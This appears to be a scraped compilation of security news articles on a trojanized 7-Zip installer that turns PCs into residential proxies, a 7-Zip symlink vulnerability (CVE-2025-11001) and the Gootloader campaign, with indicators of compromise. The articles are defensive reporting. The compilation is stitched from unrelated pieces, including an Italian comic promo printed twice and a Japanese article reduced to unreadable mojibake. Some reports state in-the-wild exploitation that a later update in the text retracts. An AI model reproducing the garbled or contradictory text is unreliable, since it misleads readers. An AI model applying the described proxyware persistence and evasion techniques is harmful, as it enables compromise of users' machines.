in more ways than one Most enterprises run security programs across sprawling environments that include mobile devices, SaaS applications, cloud infrastructure, and telecom networks. Spend control in these areas often sits outside the security organization, even when the operational consequences land directly on security teams. Tangoe’s 2026 Trends & Savings Recommendations Report connects these cost domains to recurring governance failures that create risk exposure across identity, endpoint management, and infrastructure visibility. Product showcase: PCAPdroid analyzes Android app network activity PCAPdroid is a free, open-source Android app that allows inspection of network traffic. Installation is straightforward and does not require creating an account. To begin capturing traffic, a VPN request must be accepted, which allows the app to monitor network activity. Once permission is granted, tapping the play button starts PCAPdroid, which then runs in the background until stopped. Zen-AI-Pentest: Open-source AI-powered penetration testing framework Zen-AI-Pentest provides an open-source framework for scanning and exercising systems using a combination of autonomous agents and standard security utilities. The project aims to let users run an orchestrated sequence of reconnaissance, vulnerability scanning, exploitation, and reporting using AI guidance and industry tools like Nmap and Metasploit. It is written to support command line, API, and web interfaces. Yubico previews passkey-enabled digital signatures in upcoming YubiKey 5.8 firmware Yubico’s upcoming YubiKey 5.8 firmware introduces standardized APIs that integrate hardware-backed signatures with passkey authentication. To enable privacy-capable digital signatures using passkeys, expanded enterprise IdP support, and next-generation digital wallet use cases, the firmware adds support for FIDO CTAP 2.3 and preview WebAuthn signing extensions. Google Search introduces new ways to remove sensitive personal information and explicit images Google expanded its “Results about you” tool to give users more control over sensitive personal information and added a way to request removal of non-consensual explicit images from Search. Microsoft begins Secure Boot certificate update for Windows devices Microsoft has begun updating Secure Boot certificates originally issued in 2011 to ensure that Windows devices continue to verify boot software as older certificates reach the end of their lifecycle and begin expiring in June 2026. Java security work is becoming a daily operational burden Security teams in large enterprises already spend significant time tracking vulnerabilities across software supply chains, third-party libraries, and internal codebases. Java environments add another layer of exposure because so many mission-critical systems still run on the JVM. Cloud teams are hitting maturity walls in governance, security, and AI use Enterprise cloud programs have reached a point where most foundational services are already in place, and the daily work now centers on governance, security enforcement, and managing sprawl across environments. Hybrid and multi-cloud architectures have become routine in large organizations, bringing new operational pressures around consistency and control. Microsoft Store updated with a new CLI, analytics, and Web Installer improvements Microsoft has introduced new developer tools, updates to developer analytics, and a Web Installer in the Microsoft Store on Windows to help developers build and scale apps on the platform. Attackers are moving at machine speed, defenders are still in meetings Threat actors are using AI across the attack lifecycle, increasing speed, scale, and adaptability, according to the 2026 State of Cybersecurity report by Ivanti. The study compares perceived threat levels across common attack types with organizational readiness to respond and identifies persistent gaps between awareness and execution across security programs. Cyber risk is becoming a hold-period problem for private equity firms Private equity firms have spent years treating cybersecurity as an IT hygiene issue inside portfolio companies. That approach is getting harder to sustain as ransomware, data theft, and regulatory pressure interfere with value creation during the hold period. Ubuntu 24.04.4 LTS arrives with cumulative security and bug fixes Security teams running Ubuntu in production often delay major OS upgrades until the next point release arrives with accumulated patches and newer hardware support. Ubuntu 24.04.4 LTS is now available as refreshed installation media for Noble Numbat, bundling the latest updates and offering a current hardware enablement stack for new deployments. Why secure OT protocols still struggle to catch on Industrial control system networks continue to run on legacy communication protocols that were built for reliability and uptime, not authentication or data integrity. In many environments, malicious actors with access to the OT network can impersonate devices, issue unauthenticated commands, or modify messages in transit without detection. OpenAI released GPT-5.3-Codex-Spark, a real-time coding model OpenAI has released a research preview of GPT-5.3-Codex-Spark, an ultra-fast model for real-time coding in Codex. It is available to ChatGPT Pro users in the latest versions of the Codex app, the command-line interface, and the VS Code extension. Cybersecurity jobs available right now: February 10, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: February 13, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Armis, Black Duck, Portnox, and SpecterOps.

Malwarebytes��7-Zip���U��Web�T�C�g���g���C�̖ؔn�����ꂽ�C���X�g�[���[��z�z���Ă����ƕ����B�����Ԃɂ킽��s���v���O������z�z���A���������ƒ�pPC���v���L�V�̒��p�m�[�h�ɓ]�p���Ă����Ƃ����B ���̋L������������ł��B����o�^����ƑS�Ă������������܂��B �@Malwarebytes��2026�N2��9���i���n���ԁj�A���k�\�t�g�u7-Zip�v�����UWeb�T�C�g���g���C�̖ؔn�����ꂽ�C���X�g�[���[��z�z���Ă����ƕ����B �@���KWeb�T�C�g�́u7-zip.org�v�����A�U�T�C�g�u7zip[.]com�v�͌����T�C�g�̊O�ς�͕킵�A�����Ԃɂ킽��s���v���O������z�z���Ă���A���������ƒ�pPC���v���L�V�̒��p�m�[�h�ɓ]�p���Ă����Ƃ����B �@���̃C���X�g�[���[�́uJozeal Network Technology�v���`�Ŕ��s����A���݂͎��������ؖ����ɂ����Authenticode��������Ă����B�������ɂ͉��ς��ꂽ�u7zfm.exe�v���ʏ�ʂ蓮�삷�邪�A�uUphero.exe�v�uhero.exe�v�uhero.dll�v��3�v�f���uC:\Windows\SysWOW64\hero\�v�ɔz�u����B �@Uphero.exe�̓T�[�r�X�Ǘ��ƍX�V�擾�Ahero.exe��Go�ō\�z���ꂽ��v�y�C���[�h�Ahero.dll�͕⏕���C�u�����[�ł��邱�Ƃ����������Bupdate.7zip[.]com�ɓƗ������X�V�o�H���m�F����A�C���X�g�[���[�ƕ������ĉ��ϕ��������ւ��\�ȍ\���ƂȂ��Ă����B �@������͂ɂ����ẮA�����s�t�@�C�����uWindows�v�T�[�r�X�Ƃ��Ď����N���o�^���ASYSTEM�����ŏ풓������d�g�݂ł��邱�Ƃ����������B�unetsh�v���g�p���Ċ����̃t�@�C�A�E�H�[���K�����폜���A�V���ȋ��K����lj����Ă����B�܂��AWMI��Windows API�Ńn�[�h�E�F�A���ʎq������e�ʁACPU���A�f�B�X�N�����A�l�b�g���[�N�ݒ�Ȃǂ���Aiplogger[.]org�ɑ��M���Ă����B �@��@�\�̓o�b�N�h�A�ł͂Ȃ��v���L�V�p�r�ŁA�����[����IP�A�h���X�o�R�ő�O�ҒʐM�𒆌p����Bhero.exe�́gsmshero�h�n��C2�h���C������ݒ���擾���A1000��1002�Ȃǔ�W���|�[�g�ŊO�����ڑ����m������B����ʐM�ɂ�XOR�i�L�[0x70�j�ɂ��ȈՓ�lj����p�����Ă����B���݂̏����IP��̔�����Z��p�̃v���L�V��Ղƈ�v��������������B �@���l�̎���́uupHola.exe�v�uupTiktok�v�uupWhatsapp�v�uupWire�v�Ȃǂ̖��̂ł��m�F���ꂽ�B�������SysWOW64�ւ̔z�u�A�T�[�r�X�i�����Anetsh�ɂ��K�����ρAHTTPS�Í����ʐM�Ƃ��������ʎ菇�����B��������͂ł�hero��smshero�����̑�����C2�h���C�������ߍ��܂�ACloudflare�o�R��TLS�ʐM��Google��DNS-over-HTTPS���p���ϑ����ꂽ�BVM���m�A�f�o�b�K��AAPI���I�����AAES��RC4�ACamellia�AChaskey�AXOR�ABase64�ȂǑ��l�ȈÍ��@�\��������B �@Malwarebytes�́A7zip[.]com������s�����[���͐N�Q�ς݂ƌ��Ȃ��ׂ����ƌx�����A���p�҂�Ǘ��҂ɑ��A�����z�z���̊m�F�A�R�[�h�������̐����A�s�R��Windows�T�[�r�X��t�@�C�A�E�H�[���K���̊Ď��A���mC2��v���L�V��̎Ւf���Ăт������B Copyright © ITmedia, Inc. All Rights Reserved.

A fake 7-Zip website is distributing a trojanized installer of the popular archiving tool that turns the user’s computer into a residential proxy node. Residential proxy networks use home user devices to route traffic with the goal of evading blocks and performing various malicious activities such as credential stuffing, phishing, and malware distribution. The new campaign became better known after a user reported that they downloaded a malicious installer from a website impersonating the 7-Zip project while following instructions in a YouTube tutorial on building a PC system. BleepingComputer can confirm that the malicious website, 7zip[.]com, is still live. The threat actor registered the domain 7zip[.]com (still live at the time of writing) that can easily trick users into thinking they landed on the site of the legitimate tool. Furthermore, the attacker copied the text and mimicked the structure of the original 7-Zip website located at 7-zip.org. The installer file was analyzed by researchers at cybersecurity company Malwarebytes, who found that it is digitally signed with a now-revoked certificate originally issued to Jozeal Network Technology Co., Limited. The malicious copy also contains the 7-Zip program, thus providing the regular functions of the tool. However, the installer drops three malicious files: Uphero.exe – service manager and update loader hero.exe – main proxy payload hero.dll – support library These files are placed in the ‘C:\Windows\SysWOW64\hero\’ directory, and an auto-start Windows service running as SYSTEM is created for the two malicious executables. Additionally, firewall rules are modified using ‘netsh’ to allow the binaries to establish inbound and outbound connections. Eventually, the host system is profiled with Microsoft's Windows Management Instrumentation (WMI) and Windows APIs to determine the hardware, memory, CPU, disk, and network characteristics. The collected data is then sent to ‘iplogger[.]org.’ "While initial indicators suggested backdoor‑style capabilities, further analysis revealed that the malware’s primary function is proxyware," Malwarebytes explains about the malware’s operational goal. “The infected host is enrolled as a residential proxy node, allowing third parties to route traffic through the victim’s IP address.” According to the analysis, hero.exe pulls config from rotating “smshero”-themed C2 domains, then opens outbound proxy connections on non-standard ports such as 1000 and 1002. Control messages are obfuscated using a lightweight XOR key. Malwarebytes found that the campaign is larger than the 7-Zip lure and also uses trojanized installers for HolaVPN, TikTok, and WhatsApp. The malware uses a rotating C2 infrastructure built around hero/smshero domains, with traffic going through the Cloudflare infrastructure and carried over TLS-encrypted HTTPs. It also relies on DNS-over-HTTPS via Google’s resolver, which reduces visibility for defenders monitoring standard DNS traffic. The malware also checks for virtualization platforms such as VMware, VirtualBox, QEMU, Parallels, as well as for debuggers, to identify when it’s being analyzed. Malwarebytes' investigation started after noticing research from independent security researchers who analyzed the malware and uncovered its true purpose. Researcher Luke Acha discovered the purpose of the Uphero/hero malware. The xor-based communication protocol was reverse-engineered and decoded by s1dhy, who confirmed the proxy behavior. Digital forensics and incident response (DFIR) engineer Andrew Danis connected the fake 7-Zip installer to the larger campaign impersonating multiple software brands. Malwarebytes lists indicators of compromise (domains, file paths, IP addresses) and host-related data observed during their analysis. Users are recommended to avoid following URLs from YouTube videos or promoted search results, and instead bookmark the download portal domains for the software they use often. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Trojanized 7-Zip downloads turn home computers into proxy nodes A trojanized version of the popular 7-Zip software is quietly turning home computers into residential proxy nodes, Malwarebytes warns. Spurred by a Reddit post in which a user complained about getting infected with malware after downloading 7-Zip from 7zip[.]com instead of the legitimate 7-zip.org, Malwarebytes researchers looked into the matter and found that the malicious installer functions as 7-zip, but also silently drops additional payloads onto the system. Further analysis showed the malware’s primary role was proxyware, with infected systems used as residential proxy nodes that allow third parties to route traffic through the victim’s IP address. The malware employs multiple measures designed to avoid detection, such as checking its environment for signs that it is being analyzed or monitored before running. “Any system that has executed installers from 7zip[.]com should be considered compromised,” Stefan Dasic, manager of research and response at Malwarebytes, warned. Be careful when downloading software The user who complained about installing the trojanized 7zip ended up on the malicious lookalike website after following a link from a comment on a YouTube tutorial for a new 7zip build. “The Reddit case highlights YouTube tutorials as an inadvertent malware distribution vector, where creators incorrectly reference 7zip[.]com instead of the legitimate domain. This shows how attackers can exploit small errors in otherwise benign content ecosystems to funnel victims toward malicious infrastructure at scale,” noted Dasic. End users are urged to be careful when downloading software. “Verify software sources and bookmark official project domains. Treat unexpected code‑signing identities with skepticism,” Dasic advised. Enterprise defenders should also monitor for unauthorized Windows services and firewall rule changes and block known C2 domains and proxy endpoints at the network perimeter. Malwarebytes also linked the 7-Zip impersonation to a broader proxyware distribution operation, by identifying related binaries referencing Hola (VPN/Proxy unblocker), Tiktok (social media), Whatsapp and Wire (messaging apps).

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

A convincing lookalike of the popular 7-Zip archiver site has been serving a trojanized installer that silently converts victims’ machines into residential proxy nodes—and it has been hiding in plain sight for some time. “I’m so sick to my stomach” A PC builder recently turned to Reddit’s r/pcmasterrace community in a panic after realizing they had downloaded 7‑Zip from the wrong website. Following a YouTube tutorial for a new build, they were instructed to download 7‑Zip from 7zip[.]com, unaware that the legitimate project is hosted exclusively at 7-zip.org. In their Reddit post, the user described installing the file first on a laptop and later transferring it via USB to a newly built desktop. They encountered repeated 32‑bit versus 64‑bit errors and ultimately abandoned the installer in favor of Windows’ built‑in extraction tools. Nearly two weeks later, Microsoft Defender alerted on the system with a generic detection: Trojan:Win32/Malgent!MSR. The experience illustrates how a seemingly minor domain mix-up can result in long-lived, unauthorized use of a system when attackers successfully masquerade as trusted software distributors. A trojanized installer masquerading as legitimate software This is not a simple case of a malicious download hosted on a random site. The operators behind 7zip[.]com distributed a trojanized installer via a lookalike domain, delivering a functional copy of functional 7‑Zip File Manager alongside a concealed malware payload. The installer is Authenticode‑signed using a now‑revoked certificate issued to Jozeal Network Technology Co., Limited, lending it superficial legitimacy. During installation, a modified build of 7zfm.exe is deployed and functions as expected, reducing user suspicion. In parallel, three additional components are silently dropped: Uphero.exe—a service manager and update loader hero.exe—the primary proxy payload (Go‑compiled) hero.dll—a supporting library All components are written to C:\Windows\SysWOW64\hero\, a privileged directory that is unlikely to be manually inspected. An independent update channel was also observed at update.7zip[.]com/version/win-service/1.0.0.2/Uphero.exe.zip, indicating that the malware payload can be updated independently of the installer itself. Abuse of trusted distribution channels One of the more concerning aspects of this campaign is its reliance on third‑party trust. The Reddit case highlights YouTube tutorials as an inadvertent malware distribution vector, where creators incorrectly reference 7zip.com instead of the legitimate domain. This shows how attackers can exploit small errors in otherwise benign content ecosystems to funnel victims toward malicious infrastructure at scale. Execution flow: from installer to persistent proxy service Behavioral analysis shows a rapid and methodical infection chain: 1. File deployment—The payload is installed into SysWOW64, requiring elevated privileges and signaling intent for deep system integration. 2. Persistence via Windows services—Both Uphero.exe and hero.exe are registered as auto‑start Windows services running under System privileges, ensuring execution on every boot. 3. Firewall rule manipulation—The malware invokes netsh to remove existing rules and create new inbound and outbound allow rules for its binaries. This is intended to reduce interference with network traffic and support seamless payload updates. 4. Host profiling—Using WMI and native Windows APIs, the malware enumerates system characteristics including hardware identifiers, memory size, CPU count, disk attributes, and network configuration. The malware communicates with iplogger[.]org via a dedicated reporting endpoint, suggesting it collects and reports device or network metadata as part of its proxy infrastructure. Functional goal: residential proxy monetization While initial indicators suggested backdoor‑style capabilities, further analysis revealed that the malware’s primary function is proxyware. The infected host is enrolled as a residential proxy node, allowing third parties to route traffic through the victim’s IP address. The hero.exe component retrieves configuration data from rotating “smshero”‑themed command‑and‑control domains, then establishes outbound proxy connections on non‑standard ports such as 1000 and 1002. Traffic analysis shows a lightweight XOR‑encoded protocol (key 0x70) used to obscure control messages. This infrastructure is consistent with known residential proxy services, where access to real consumer IP addresses is sold for fraud, scraping, ad abuse, or anonymity laundering. Shared tooling across multiple fake installers The 7‑Zip impersonation appears to be part of a broader operation. Related binaries have been identified under names such as upHola.exe, upTiktok, upWhatsapp, and upWire, all sharing identical tactics, techniques, and procedures: Deployment to SysWOW64 Windows service persistence Firewall rule manipulation via netsh Encrypted HTTPS C2 traffic Embedded strings referencing VPN and proxy brands suggest a unified backend supporting multiple distribution fronts. Rotating infrastructure and encrypted transport Memory analysis uncovered a large pool of hardcoded command-and-control domains using hero and smshero naming conventions. Active resolution during sandbox execution showed traffic routed through Cloudflare infrastructure with TLS‑encrypted HTTPS sessions. The malware also uses DNS-over-HTTPS via Google’s resolver, reducing visibility for traditional DNS monitoring and complicating network-based detection. Evasion and anti‑analysis features The malware incorporates multiple layers of sandbox and analysis evasion: Virtual machine detection targeting VMware, VirtualBox, QEMU, and Parallels Anti‑debugging checks and suspicious debugger DLL loading Runtime API resolution and PEB inspection Process enumeration, registry probing, and environment inspection Cryptographic support is extensive, including AES, RC4, Camellia, Chaskey, XOR encoding, and Base64, suggesting encrypted configuration handling and traffic protection. Defensive guidance Any system that has executed installers from 7zip.com should be considered compromised. While this malware establishes SYSTEM‑level persistence and modifies firewall rules, reputable security software can effectively detect and remove the malicious components. Malwarebytes is capable of fully eradicating known variants of this threat and reversing its persistence mechanisms. In high‑risk or heavily used systems, some users may still choose a full OS reinstall for absolute assurance, but it is not strictly required in all cases. Users and defenders should: Verify software sources and bookmark official project domains Treat unexpected code‑signing identities with skepticism Monitor for unauthorized Windows services and firewall rule changes Block known C2 domains and proxy endpoints at the network perimeter Researcher attribution and community analysis This investigation would not have been possible without the work of independent security researchers who went deeper than surface-level indicators and identified the true purpose of this malware family. Luke Acha provided the first comprehensive analysis showing that the Uphero/hero malware functions as residential proxyware rather than a traditional backdoor. His work documented the proxy protocol, traffic patterns, and monetization model, and connected this campaign to a broader operation he dubbed upStage Proxy. Luke’s full write-up is available on his blog. s1dhy expanded on this analysis by reversing and decoding the custom XOR-based communication protocol, validating the proxy behavior through packet captures, and correlating multiple proxy endpoints across victim geolocations. Technical notes and findings were shared publicly on X (Twitter). Andrew Danis contributed additional infrastructure analysis and clustering, helping tie the fake 7-Zip installer to related proxyware campaigns abusing other software brands. Additional technical validation and dynamic analysis were published by researchers at RaichuLab on Qiita and WizSafe Security on IIJ. Their collective work highlights the importance of open, community-driven research in uncovering long-running abuse campaigns that rely on trust and misdirection rather than exploits. Closing thoughts This campaign demonstrates how effective brand impersonation combined with technically competent malware can operate undetected for extended periods. By abusing user trust rather than exploiting software vulnerabilities, attackers bypass many traditional security assumptions—turning everyday utility downloads into long‑lived monetization infrastructure. Malwarebytes detects and blocks known variants of this proxyware family and its associated infrastructure. Indicators of Compromise (IOCs) File paths C:\Windows\SysWOW64\hero\Uphero.exe C:\Windows\SysWOW64\hero\hero.exe C:\Windows\SysWOW64\hero\hero.dll File hashes (SHA-256) e7291095de78484039fdc82106d191bf41b7469811c4e31b4228227911d25027 (Uphero.exe) b7a7013b951c3cea178ece3363e3dd06626b9b98ee27ebfd7c161d0bbcfbd894 (hero.exe) 3544ffefb2a38bf4faf6181aa4374f4c186d3c2a7b9b059244b65dce8d5688d9 (hero.dll) Network indicators Domains: soc.hero-sms[.]co neo.herosms[.]co flux.smshero[.]co nova.smshero[.]ai apex.herosms[.]ai spark.herosms[.]io zest.hero-sms[.]ai prime.herosms[.]vip vivid.smshero[.]vip mint.smshero[.]com pulse.herosms[.]cc glide.smshero[.]cc svc.ha-teams.office[.]com iplogger[.]org Observed IPs (Cloudflare-fronted): 104.21.57.71 172.67.160.241 Host-based indicators Windows services with image paths pointing to C:\Windows\SysWOW64\hero\ Firewall rules named Uphero or hero (inbound and outbound) Mutex: Global\3a886eb8-fe40-4d0a-b78b-9e0bcb683fb7 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Threat actors are exploiting a recently patched 7-Zip vulnerability that leads to remote code execution (RCE), NHS England warns. The bug, tracked as CVE-2025-11001 (CVSS score of 7.0), is described as a file parsing directory traversal issue, and requires user interaction for successful exploitation. The flaw impacts 7-Zip’s handling of symbolic links in ZIP files, as crafted data could be used to traverse to unintended directories during processing. “An attacker can leverage this vulnerability to execute code in the context of a service account,” a Trend Micro Zero Day Initiative (ZDI) advisory reads. According to ZDI, attack vectors depend on implementation. Ryota Shiga of GMO Flatt Security was credited for finding this security defect and an identical vulnerability tracked as CVE-2025-11002. Both issues were reported to 7-Zip’s developers in May and were patched in 7-Zip version 25.00, which was released in July. Now, NHS England, the National Health Service’s key governing body in England, warns that threat actors are targeting vulnerable 7-Zip installations in the wild. “Active exploitation of CVE-2025-11001 has been observed in the wild,” the agency’s advisory reads, pointing out that a proof-of-concept (PoC) exploit targeting the bug is available. “The PoC allows attackers to abuse symbolic-link handling to write files outside of the intended extraction folder, which in some scenarios, can enable arbitrary code execution,” NHS England notes. According to security engineer Dominik C., the exploited vulnerability impacts the way 7-Zip versions 21.02 to 24.09 convert symbolic links from Linux to Windows, and can only be exploited on Windows systems. Because the parser marks Linux symbolic links with Windows-style C:\ paths as relative but sets the link path to the full C:\ path, the issue can be exploited to bypass a check that prevents creating links to absolute paths, the security engineer explains. This allows an attacker to craft a symbolic link leading to writing a malicious binary in a directory of their choosing, but only if 7-Zip runs with administrative privileges. “This is because the 7-Zip process creates a symlink, which is a privileged operation on Windows. Hence the exploitation only makes sense when 7-Zip is used by a service account,” the engineer notes. Related: Two-Year-Old Ray AI Framework Flaw Exploited in Ongoing Campaign Related: Fortinet Discloses Second Exploited FortiWeb Zero-Day in a Week Related: Russian Hackers Exploited 7-Zip Zero-Day Against Ukraine

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

A recently disclosed security flaw impacting 7-Zip has come under active exploitation in the wild, according to an advisory issued by the U.K. NHS England Digital on Tuesday. The vulnerability in question is CVE-2025-11001 (CVSS score: 7.0), which allows remote attackers to execute arbitrary code. It has been addressed in 7-Zip version 25.00 released in July 2025. "The specific flaw exists within the handling of symbolic links in ZIP files. Crafted data in a ZIP file can cause the process to traverse to unintended directories," Trend Micro's Zero Day Initiative (ZDI) said in an alert released last month. "An attacker can leverage this vulnerability to execute code in the context of a service account." Ryota Shiga of GMO Flatt Security Inc., along with the company's artificial intelligence (AI)-powered AppSec Auditor Takumi, has been credited with discovering and reporting the vulnerability. It's worth noting that 7-Zip 25.00 also resolves another flaw, CVE-2025-11002 (CVSS score: 7.0), that allows for remote code execution by taking advantage of improper handling of symbolic links within ZIP archives, resulting in directory traversal. Both shortcomings were introduced in version 21.02. "Active exploitation of CVE-2025-11001 has been observed in the wild," NHS England Digital said. However, there are currently no details available on how it's being weaponized, by whom, and in what context. Given that there exists proof-of-concept (PoC) exploits, it's essential that 7-Zip users move quickly to apply the necessary fixes as soon as possible, if not already, for optimal protection. "This vulnerability can only be exploited from the context of an elevated user / service account or a machine with developer mode enabled," security researcher Dominik (aka pacbypass), who released the PoC, said in a post detailing the flaw. "This vulnerability can only be exploited on Windows." (The story was updated after publication to note that the vulnerability is not under active exploitation as previously mentioned.)

Public PoC exploit for 7-Zip vulnerability is available (CVE-2025-11001) NHS England Digital, the technology arm of the publicly-funded health service for England, has issued a warning about a 7-Zip vulnerability (CVE-2025-11001) being exploited by attackers. “Active exploitation of CVE-2025-11001 has been observed in the wild,” the alert says, though it does not say who detected the attacks or whether they might be targeted or widespread. CVE-2025-11001 and CVE-2025-11002 Introduced in 7-Zip v21.02, CVE-2025-11001 and CVE-2025-11002 are two path/directory traversal flaws that have been fixed in 7-Zip v25.00, released in July 2025. The vulnerabilities were publicly revealed via Zero Day Initiative advisories on October 7, 2025, and credited to Ryota Shiga of GMO Flatt Security, who discovered them by using the company’s AI-powered application security auditor (Takumi). “The specific flaw exists within the handling of symbolic links in ZIP files. Crafted data in a ZIP file can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of a service account,” both advisories note. Another security researcher who goes by “PacBypass” analyzed the code differences between 7-Zip v24.09 and v25.00 and, ten days later, published a technical write-up about CVE-2025-11001 and a proof-of-concept exploit for it. CVE-2025-11001 is only exploitable on Windows and only from the context of an elevated user/service account or a Windows machine with Developer Mode enabled, PacBypass noted. “This is because it the 7-Zip process creates a symlink, which is a privileged operation on Windows. Hence the exploitation only makes sense when 7-Zip is used by a service account,” he explained. Pre-empt attackers by updating 7-Zip In August 2025, a third researcher revealed an arbitrary file write vulnerability (CVE-2025-55188) caused by 7-Zip’s improper handling of symbolic links, which may lead to code execution when the user extracts a maliciously crafted archive with 7-Zip. CVE-2025-55188 was fixed in 7-Zip v25.01. “The code for handling symbolic links has been changed to provide greater security when extracting files from archives,” 7-Zip creator and maintainer Igor Pavlov noted at the time. 7-Zip users have been urged to upgrade to the latest available version as soon as possible, since the software does not have an auto-update feature. Help Net Security has reached out to NHS England Digital for additional information about the attacks, and we’ll update this article when we hear back from them. UPDATE (November 21, 2025, 07:40 a.m. ET): NHS England Digital has updated the initial alert to say that “NHS England National [Cyber Security Operations Centre] has not observed exploitation of CVE-2025-11001 in the wild, and have removed references to exploitation that were included in error. The National CSOC is aware of a public proof-of-concept exploit.” The original title of this article has been changed to reflect that. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

The Gootloader malware loader operation has returned after a 7-month absence and is once again performing SEO poisoning to promote fake websites that distribute the malware. Gootloader is a JavaScript-based malware loader spread through compromised or attacker-controlled websites, used to trick users into downloading malicious documents. The websites are promoted in search engines either via ads or through search engine optimization (SEO) poisoning, which ranks a website higher in the results for a particular keyword, like legal documents and agreements. In the past, these websites would display fake message boards that pretended to discuss users' query, with some posts recommending (malicious) document templates that could be downloaded. The SEO campaigns later switched to using websites that pretend to offer free templates for various legal documents. When a visitor clicked the "Get Document" button, the site checked if they were a legitimate user and, if so, downloaded an archive containing a malicious document with a .js extension. For example, the archive could include a file named mutual_non_disclosure_agreement.js. Gootloader would execute when launching the document and downloaded additional malware payloads onto the device, including Cobalt Strike, backdoors, and bots that provided initial access to corporate networks. Other threat actors then used this access to deploy ransomware or conduct other attacks. Gootloader returns A cybersecurity researcher operating under the pseudonym "Gootloader" has been tracking and actively disrupting the malware operation for years by filing abuse reports with ISPs and hosting platforms to take down attacker-controlled infrastructure. The researcher told BleepingComputer that his activities led to the Gootloader operation suddenly ceasing on March 31st, 2025. The researcher and Anna Pham of Huntress Labs now report that Gootloader has returned in a new campaign that once again impersonates legal documents. "In this latest campaign, we've observed thousands of unique keywords spread over 100 websites," reads a new blog post by the Gootloader researcher. "The ultimate goal remains the same: convince victims to download a malicious ZIP archive containing a JScript (.JS) file that establishes initial access for follow-on activity — usually leading to ransomware deployment." However, the researchers say this new variant uses a few techniques to evade automated analysis tools and security researchers. Huntress found that the JavaScript added to malicious websites hides the real filenames by using a special web font that replaces letters with look-alike symbols. In the HTML source, you see nonsense text, but when the page is rendered, the font's swapped glyph shapes display normal words, making it harder for security software and researchers to find keywords like "invoice" or "contract" in the source code. "Rather than using OpenType substitution features or character mapping tables, the loader swaps what each glyph actually displays. The font's metadata appears completely legitimate—the character "O" maps to a glyph named "O", the character "a" maps to a glyph named "a", and so forth," explains Huntress. "However, the actual vector paths that define these glyphs have been swapped. When the browser requests the shape for glyph "O", the font provides the vector coordinates that draw the letter "F" instead. Similarly, "a" draws "l", "9" draws "o", and special Unicode characters like "±" draw "i". The gibberish string Oa9Z±h• in the source code renders as "Florida" on screen." Researchers from the DFIR Report also discovered that Gootloader is using malformed Zip archives to distribute Gootloader scripts from attacker-controlled websites. These archives are crafted so that when the downloaded ZIP file is extracted with Windows Explorer, the malicious JavaScript file, Review_Hearings_Manual_2025.js, is extracted. However, that same archive, when extracted within VirusTotal, Python's zip utilities, or 7-Zip, will unpack a harmless text file named Review_Hearings_Manual_202.txt. As you can see in the image below of 010 Editor, the archive contains both files but is malformed, causing it to be extracted differently depending on the tool used. It's unclear whether this is the same concatenation trick described in 2024 or if they are using a new technique to get Windows to extract the JS file. Finally, the campaign is dropping the Supper SOCKS5 backdoor on devices, which is used to gain remote access to the network. The Supper backdoor is malware that provides remote access to infected devices and is known to be used by a ransomware affiliate tracked as Vanilla Tempest. This threat actor has a long history of conducting ransomware attacks and is believed to have been an affiliate of Inc, BlackCat, Quantum Locker, Zeppelin, and Rhysida. In the attacks observed by Huntress, the threat actor moved fast once a device was infected, performing reconnaissance within 20 minutes and ultimately compromising the Domain Controller within 17 hours. With Gootloader now back in operation, consumers and corporate users need to be careful about searching for and downloading legal agreements and templates from the web. Unless the website is known for offering these types of templates, it should be treated with suspicion and avoided. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

